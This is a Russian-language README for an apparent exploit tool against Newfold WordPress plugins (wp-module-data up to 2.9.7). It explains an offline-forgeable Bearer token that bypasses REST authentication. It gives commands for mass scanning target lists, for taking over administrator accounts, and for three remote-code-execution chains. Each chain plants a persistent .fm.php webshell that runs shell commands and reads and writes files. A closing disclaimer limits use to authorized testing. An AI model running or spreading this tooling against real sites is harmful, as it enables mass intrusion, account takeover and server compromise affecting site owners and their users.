Плагины Newfold (wp-module-data <= 2.9.7) без аутентификации
Эксплойт для неаутентифицированного обхода аутентификации и RCE, нацеленный на плагины Newfold для WordPress, включающие wp-module-data.
Этот инструмент эксплуатирует уязвимость проверки Bearer-токена в модуле Newfold wp-module-data. Когда сайт WordPress, использующий уязвимый плагин Newfold, не подключён к Hiive, HiiveConnection::get_auth_token() возвращает false. Это значение проходит через strrev(), а затем хешируется, в результате чего секретная соль сводится к публичной константе:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Поскольку все остальные компоненты хешируемой полезной нагрузки (HTTP-метод, URL запроса, тело запроса, временная метка) полностью контролируются атакующим, действительный Bearer-токен может быть вычислен офлайн. Уязвимый фильтр срабатывает на rest_authentication_errors, поэтому поддельный токен аутентифицирует вызывающего как для всего REST API WordPress, включая основные маршруты. Затем этот доступ используется для полного удалённого выполнения кода.
| Плагин / Модуль | Уязвимые версии | Исправлено |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
Обнаружение также охватывает слаги плагинов WordPress.org wp-plugin-web и crazy_blog.
В vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
На неподключённом сайте strrev(false) приводится к strrev(''), что даёт '', и соль становится общеизвестным хешем пустой строки. Все остальные входные данные хеш-цепочки контролируются атакующим, поэтому токен полностью предсказуем.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me и анализа ролей404.php / index.php.fm.php, размещаемый в корне веб-сервераwp-login.php) и классический вход через форму wp-login.phprequestsurllib3 (опционально, только для подавления предупреждений TLS)Установка зависимостей:
pip install requests urllib3
Обнаружение только для чтения и проверка обхода:
python3 exploit.py -u https://target.example
Полная цепочка до постоянного шелла:
python3 exploit.py -u https://target.example --mode rce
Сброс пароля первого администратора вместо создания нового:
python3 exploit.py -u https://target.example --mode rce --takeover
Только проверка по списку целей:
python3 exploit.py --list targets.txt
Полная цепочка на каждом уязвимом хосте (требует явного подтверждения):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Предварительная фильтрация с помощью проверок статических ресурсов перед обращением к REST API:
python3 exploit.py --list targets.txt --brand-filter
Остановка после первых N уязвимых хостов:
python3 exploit.py --list targets.txt --stop-after 5
Возобновление предыдущего запуска:
python3 exploit.py --list targets.txt --resume
| Флаг | Описание |
|---|---|
-u, --url | Базовый URL одной цели |
--list | Файл, содержащий по одному URL цели на строку |
--mode | check (только обнаружение) или rce (полная цепочка); по умолчанию check |
--takeover | Сбросить пароль первого администратора вместо создания нового администратора |
--output | Путь для вывода JSONL в массовом режиме; по умолчанию cve_2026_80099_results.jsonl |
--vuln-list | Список уязвимых хостов в виде чистых URL; по умолчанию vuln.txt |
--threads | Количество воркеров для массового режима; по умолчанию 20 |
--timeout | Таймаут запроса в секундах; по умолчанию 15 |
--fast-timeout | Таймаут быстрой проверки в секундах; по умолчанию 6 |
--retries | Количество повторных попыток на запрос; по умолчанию 1 |
--proxy | URL HTTP(S)-прокси |
--all-out | Записывать все строки массового режима, а не только уязвимые |
--apply-rce | Запускать RCE-цепочку на уязвимых хостах в массовом режиме |
--brand-filter | Предварительная фильтрация с использованием статических ресурсов плагинов Newfold |
--stop-after | Остановить массовое сканирование после N уязвимых хостов; 0 означает обработать все |
--quiet | Отключить строки прогресса по каждой цели |
--resume | Дописывать в вывод и пропускать уже присутствующие цели |
После подтверждения контекста администратора инструмент последовательно пробует три техники:
Шелл через редактор тем — записывает небольшую PHP-полезную нагрузку в 404.php или index.php активной темы. Полезная нагрузка срабатывает при запросе любого несуществующего URL (для 404.php) или корня сайта (для index.php).
Шелл через загрузку плагина — собирает ZIP, содержащий минимальный плагин, загружает его через wp-admin/update.php?action=upload-plugin и обращается к PHP-файлу плагина напрямую.
Цепочка через редактор неактивного плагина — получает список плагинов через REST API, выбирает неактивный, записывает cmd-шелл в его основной файл через plugin-editor.php, активирует его через PUT /wp/v2/plugins/<slug>, вызывает шелл по любому URL фронтенда, размещает .fm.php в корне веб-сервера, затем деактивирует плагин и восстанавливает исходный файл. Этот путь рассчитан на выживание на хостах, которые блокируют редактор тем, блокируют прямой доступ к wp-content или откатывают изменения через loopback-проверки работоспособности.
При успехе в корне веб-сервера размещается постоянный файловый менеджер .fm.php. Он поддерживает:
?cmd=<shell command>?cat=<path> для чтения файла?put=<path>&data=<base64> для записи файла?ls=<path> для листинга каталогаcve_2026_80099_results.jsonl — записи JSONL для каждой просканированной цели. Уязвимые записи включают vuln: true, admin, admin_id и, при успехе RCE, shell (URL размещённого файлового менеджера или шелла).vuln.txt — по одному чистому URL на строку для каждой уязвимой цели или цели с шеллом.trust_env = False, чтобы избежать утечки массовых сканирований через локальные прокси.Url::getCurrentUrl(). Сначала подготавливается запрос, а токен выводится из подготовленного URL.json_encode по умолчанию, включая экранированные прямые слэши, экранирование не-ASCII через \uXXXX и суррогатные пары UTF-16 для астральных символов, поэтому хешируемая полезная нагрузка совпадает побайтово.401, обычно означает, что цель исправлена (модуль >= 2.9.8), сайт подключён к Hiive (настоящий токен, неизвестная соль) или посредник удаляет заголовок Authorization. 403 обычно указывает на вмешательство другого фильтра rest_authentication_errors.Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности и исследований. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций и может повлечь серьёзные гражданские и уголовные санкции. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением.